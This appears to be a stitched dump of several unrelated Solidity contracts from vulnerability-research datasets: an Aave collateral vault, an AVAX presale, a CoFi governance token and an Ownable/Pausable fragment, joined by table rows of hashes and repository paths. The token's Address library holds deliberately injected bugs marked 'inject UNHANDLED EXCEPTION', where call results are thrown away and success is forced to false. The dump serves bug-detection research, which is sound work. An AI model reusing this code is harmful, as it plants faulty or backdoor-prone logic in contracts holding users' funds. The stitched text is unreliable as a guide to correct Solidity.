// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Aave {
function borrow(address _reserve, uint256 _amount, uint256 _interestRateModel, uint16 _referralCode) external;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external;
function repay(address _reserve, uint256 _amount, address payable _onBehalfOf) external payable;
}
interface AaveToken {
function underlyingAssetAddress() external returns (address);
}
interface Oracle {
function getAssetPrice(address reserve) external view returns (uint256);
function latestAnswer() external view returns (uint256);
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
function getLendingPoolCore() external view returns (address);
function getPriceOracle() external view returns (address);
}
contract iCollateralVault is ReentrancyGuard {
using SafeERC20 for IERC20;
address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address private _owner;
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
constructor() public {
_owner = msg.sender;
}
// LP deposit, anyone can deposit/topup
function activate(address reserve) public { //inject PUBLIC FUNC TO EXTERNAL
Aave(getAave()).setUserUseReserveAsCollateral(reserve, true);
}
// No logic, logic handled underneath by Aave
function withdraw(address reserve, uint256 amount, address to) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
IERC20(reserve).safeTransfer(to, amount);
}
function getAave() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPool();
}
function getAaveCore() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPoolCore();
}
// amount needs to be normalized
function borrow(address reserve, uint256 amount, address to) public nonReentrant onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
// LTV logic handled by underlying
Aave(getAave()).borrow(reserve, amount, 2, 7);
IERC20(reserve).safeTransfer(to, amount);
}
function repay(address reserve, uint256 amount) public {
// Required for certain stable coins (USDT for example)
IERC20(reserve).approve(address(getAaveCore()), 0);
IERC20(reserve).approve(address(getAaveCore()), amount);
Aave(getAave()).repay(reserve, amount, address(uint160(address(this))));
}
}
contract iCollateralVaultProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
mapping (address => address[]) private _ownedVaults;
mapping (address => address) private _vaults;
// Spending limits per user measured in dollars 1e8
mapping (address => mapping (address => uint256)) private _limits;
address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address public constant link = address(0xF79D6aFBb6dA890132F9D7c355e3015f15F3406F);
constructor() public {
deployVault();
}
function limit(address vault, address spender) public view returns (uint256) {
return _limits[vault][spender];
}
function increaseLimit(address vault, address spender, uint256 addedValue) public {
require(isVaultOwner(address(vault), msg.sender), "not vault owner");
_approve(vault, spender, _limits[vault][spender].add(addedValue));
}
function decreaseLimit(address vault, address spender, uint256 subtractedValue) public {
require(isVaultOwner(address(vault), msg.sender), "not vault owner");
_approve(vault, spender, _limits[vault][spender].sub(subtractedValue, "decreased limit below zero"));
}
function _approve(address vault, address spender, uint256 amount) internal {
require(spender != address(0), "approve to the zero address");
_limits[vault][spender] = amount;
}
function isVaultOwner(address vault, address owner) public view returns (bool) {
return _vaults[vault] == owner;
}
function isVault(address vault) public view returns (bool) {
return _vaults[vault] != address(0);
}
// LP deposit, anyone can deposit/topup
function deposit(iCollateralVault vault, address aToken, uint256 amount) public { //inject PUBLIC FUNC TO EXTERNAL
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount);
IERC20(aToken).safeTransfer(address(vault), amount);
vault.activate(AaveToken(aToken).underlyingAssetAddress());
}
// No logic, handled underneath by Aave
function withdraw(iCollateralVault vault, address reserve, uint256 amount) public { //inject PUBLIC FUNC TO EXTERNAL
require(isVaultOwner(address(vault), msg.sender), "not vault owner");
vault.withdraw(reserve, amount, msg.sender);
}
// amount needs to be normalized
function borrow(iCollateralVault vault, address reserve, uint256 amount) public { //inject PUBLIC FUNC TO EXTERNAL
uint256 _borrow = getReservePriceUSD(reserve).mul(amount);
_approve(address(vault), msg.sender, _limits[address(vault)][msg.sender].sub(_borrow, "borrow amount exceeds allowance"));
vault.borrow(reserve, amount, msg.sender);
}
function repay(iCollateralVault vault, address reserve, uint256 amount) public {
IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount);
IERC20(reserve).safeTransfer(address(vault), amount);
vault.repay(reserve, amount);
}
function getVaults(address owner) public view returns (address[] memory) { //inject PUBLIC FUNC TO EXTERNAL
return _ownedVaults[owner];
}
function deployVault() public returns (address) {
address vault = address(new iCollateralVault());
// Mark address as vault
_vaults[vault] = msg.sender;
// Set vault owner
address[] storage owned = _ownedVaults[msg.sender];
owned.push(vault);
_ownedVaults[msg.sender] = owned;
return vault;
}
function getAave() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPool();
}
function getAaveCore() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPoolCore();
}
function getAaveOracle() public view returns (address) {
return LendingPoolAddressesProvider(aave).getPriceOracle();
}
function getReservePriceETH(address reserve) public view returns (uint256) {
return Oracle(getAaveOracle()).getAssetPrice(reserve);
}
function getReservePriceUSD(address reserve) public view returns (uint256) {
return getReservePriceETH(reserve).mul(Oracle(link).latestAnswer());
}
}
| 277,733 | 10,857 |
da01f810866ebb5082660153ee91613107ee5fdbea74febeb3a5d3b770c670cd
| 16,979 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/0b/0B12d18be7027DEcbB576671c7C39B09fE535E2D_Sale.sol
| 3,295 | 11,872 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
mapping(address => bool) _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
_owner[msg.sender] = true;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
_owner[newOwner] = true;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
_owner[_pendingOwner] = true;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(_owner[msg.sender], "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Sale is Ownable {
using SafeMath for uint256;
// ==== STRUCTS ====
struct UserInfo {
uint256 payout; // BEND
uint256 vesting; // time left to be vested
uint256 lastTime;
uint256 redeemableBeforeVesting;
}
// ==== CONSTANTS ====
uint256 private constant MAX_PER_ADDR = 100e18; // max 100 AVAX
uint256 private constant MAX_FOR_SALE = 5000e18; // 5k AVAX
uint256 private constant VESTING_TERM = 0.2 days;
uint256 private constant EXCHANGE_RATE = 10000; // 1 AVAX -> 10000 BEND
// uint256 private constant MARKET_PRICE = 14; //
uint256 public constant START_PRESALE = 1652257800; // Wed May 11 2022 10:30:00 GMT+0200
uint256 public constant END_PRESALE = 1652261400; // Wed May 11 2022 11:30:00 GMT+0200
uint256 public constant startVesting = 1652261400; // 13rd April 2022, 00:00:00 UTC
uint256 public constant UNLOCK_BEFORE_VESTING = 50; // 20%
// ==== STORAGES ====
IERC20 public BEND;
// finalized status
bool public finalized;
// total asset income(AVAX);
uint256 public totalIncome;
// whitelist usage statsu
bool public whitelistUsed = false;
// white list for private sale
mapping(address => bool) public isWhitelist;
mapping(address => UserInfo) public userInfo;
// ==== EVENTS ====
event Deposited(address indexed depositor, uint256 indexed amount);
event Redeemed(address indexed recipient, uint256 payout, uint256 remaining);
event WhitelistUpdated(address indexed depositor, bool indexed value);
// ==== MODIFIERS ====
modifier onlyWhitelisted(address _depositor) {
if(whitelistUsed) {
require(isWhitelist[_depositor], "only whitelisted");
}
_;
}
// ==== CONSTRUCTOR ====
constructor(IERC20 _BEND) {
BEND = _BEND;
}
// ==== VIEW FUNCTIONS ====
function availableFor(address _depositor) public view returns (uint256 amount_) {
amount_ = 0;
if (!whitelistUsed || isWhitelist[_depositor]) {
UserInfo memory user = userInfo[_depositor];
uint256 totalAvailable = MAX_FOR_SALE.sub(totalIncome);
uint256 assetPurchased = user.payout.mul(1e15).div(EXCHANGE_RATE);
uint256 depositorAvailable = MAX_PER_ADDR.sub(assetPurchased);
amount_ = totalAvailable > depositorAvailable ? depositorAvailable : totalAvailable;
}
}
function payFor(uint256 _amount) public pure returns (uint256 BENDAmount_) {
// BEND decimals: 3
// asset decimals: 18
BENDAmount_ = _amount.mul(1e3).mul(EXCHANGE_RATE).div(1e18);
}
function percentVestedFor(address _depositor) public view returns (uint256 percentVested_) {
UserInfo memory user = userInfo[_depositor];
if (block.timestamp < user.lastTime) return 0;
uint256 timeSinceLast = block.timestamp.sub(user.lastTime);
uint256 vesting = user.vesting;
if (vesting > 0) {
percentVested_ = timeSinceLast.mul(10000).div(vesting);
} else {
percentVested_ = 0;
}
}
function pendingPayoutFor(address _depositor) external view returns (uint256 pendingPayout_) {
uint256 percentVested = percentVestedFor(_depositor);
uint256 payout = userInfo[_depositor].payout;
if (percentVested >= 10000) {
pendingPayout_ = payout;
} else {
pendingPayout_ = userInfo[_depositor].redeemableBeforeVesting;
}
}
// ==== EXTERNAL FUNCTIONS ====
function deposit(address _depositor) external payable onlyWhitelisted(_depositor) {
require(block.timestamp >= START_PRESALE && block.timestamp <= END_PRESALE, "Sorry, presale is not enabled!");
require(!finalized, "already finalized");
uint256 available = availableFor(_depositor);
require(msg.value <= available, "exceed limit");
totalIncome = totalIncome.add(msg.value);
UserInfo storage user = userInfo[_depositor];
uint256 payoutFor = payFor(msg.value);
user.payout = user.payout.add(payoutFor);
user.vesting = VESTING_TERM;
user.lastTime = startVesting;
user.redeemableBeforeVesting = user.redeemableBeforeVesting.add(payoutFor.mul(UNLOCK_BEFORE_VESTING).div(100));
emit Deposited(_depositor, msg.value);
}
function redeem(address _recipient) external {
require(finalized, "not finalized yet");
UserInfo memory user = userInfo[_recipient];
uint256 percentVested = percentVestedFor(_recipient);
if (block.timestamp < user.lastTime) return;
if (percentVested >= 10000) {
// if fully vested
delete userInfo[_recipient]; // delete user info
emit Redeemed(_recipient, user.payout, 0); // emit bond data
BEND.transfer(_recipient, user.payout); // pay user everything due
} else {
// if unfinished
// calculate payout vested
uint256 payout = user.redeemableBeforeVesting;
// store updated deposit info
userInfo[_recipient] = UserInfo({
payout: user.payout.sub(payout),
vesting: user.vesting.sub(block.timestamp.sub(user.lastTime)),
lastTime: block.timestamp,
redeemableBeforeVesting: 0
});
emit Redeemed(_recipient, payout, userInfo[_recipient].payout);
BEND.transfer(_recipient, payout); // pay user everything due
}
}
// ==== RESTRICT FUNCTIONS ====
function setWhitelist(address _depositor, bool _value) external onlyOwner {
isWhitelist[_depositor] = _value;
emit WhitelistUpdated(_depositor, _value);
}
function toggleWhitelist(address[] memory _depositors) external onlyOwner {
for (uint256 i = 0; i < _depositors.length; i++) {
isWhitelist[_depositors[i]] = !isWhitelist[_depositors[i]];
emit WhitelistUpdated(_depositors[i], isWhitelist[_depositors[i]]);
}
}
function emergencyWithdraw() external onlyOwner {
payable(owner).transfer(address(this).balance);
}
function setupContracts(IERC20 _BEND) external onlyOwner {
BEND = _BEND;
}
// finalize the sale, init liquidity and deposit treasury
// 100% public goes to LP pool and goes to treasury as liquidity asset
// 100% private goes to treasury as stable asset
function finalize() external onlyOwner {
require(!finalized, "already finalized");
payable(owner).transfer(address(this).balance);
// BEND.transfer(owner, BEND.balanceOf(address(this)));
finalized = true;
}
function toggleWhitelistUsage() external onlyOwner {
whitelistUsed = !whitelistUsed;
}
}
| 107,360 | 10,858 |
32ed72d2449f7949fa19648e52504e897946048593f13d750ff6930d2e15344d
| 36,491 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/unhandledException/0xBF4d534CfE1C293c9bb1cBaA01Bb17C8FF65b670_unhandledException.sol
| 4,813 | 19,103 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.6.12;
//
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = (false, bytes(msg.data));
recipient.call{ value: amount }(""); //inject UNHANDLED EXCEPTION
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = (false, bytes(msg.data));
target.call{ value: weiValue }(data); //inject UNHANDLED EXCEPTION
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
//
// CoFiToken with Governance. It offers possibilities to adopt off-chain gasless governance infra.
contract CoFiToken is ERC20("CF Test Token", "CFT") {
address public governance;
mapping (address => bool) public minters;
// Copied and modified from SUSHI code:
// https://github.com/sushiswap/sushiswap/blob/master/contracts/SushiToken.sol
// Which is copied and modified from YAM code and COMPOUND:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @dev An event thats emitted when a new governance account is set
/// @param _new The new governance address
event NewGovernance(address _new);
/// @dev An event thats emitted when a new minter account is added
/// @param _minter The new minter address added
event MinterAdded(address _minter);
/// @dev An event thats emitted when a minter account is removed
/// @param _minter The minter address removed
event MinterRemoved(address _minter);
modifier onlyGovernance() {
require(msg.sender == governance, "CoFi: !governance");
_;
}
constructor() public {
governance = msg.sender;
}
function setGovernance(address _new) external onlyGovernance {
require(_new != address(0), "CoFi: zero addr");
require(_new != governance, "CoFi: same addr");
governance = _new;
emit NewGovernance(_new);
}
function addMinter(address _minter) external onlyGovernance {
minters[_minter] = true;
emit MinterAdded(_minter);
}
function removeMinter(address _minter) external onlyGovernance {
minters[_minter] = false;
emit MinterRemoved(_minter);
}
/// @notice mint is used to distribute CoFi token to users, minters are CoFi mining pools
function mint(address _to, uint256 _amount) external {
require(minters[msg.sender], "CoFi: !minter");
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/// @notice override original transfer to fix SUSHI's vote issue
/// check https://blog.peckshield.com/2020/09/08/sushi/
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
super.transfer(_recipient, _amount);
_moveDelegates(_delegates[msg.sender], _delegates[_recipient], _amount);
return true;
}
/// @notice override original transferFrom to fix SUSHI's vote issue
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
super.transferFrom(_sender, _recipient, _amount);
_moveDelegates(_delegates[_sender], _delegates[_recipient], _amount);
return true;
}
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CoFi::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CoFi::delegateBySig: invalid nonce");
require(now <= expiry, "CoFi::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CoFi::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "CoFi::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 278,722 | 10,859 |
ad047f1d57f4cac49700f6c961ef41e06bba8d9716b46281a107f401f5ce800d
| 13,834 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x0c9718a4b2f467dbcc9a71a442d715a2e6889e4c.sol
| 3,427 | 13,224 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner returns(bool) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
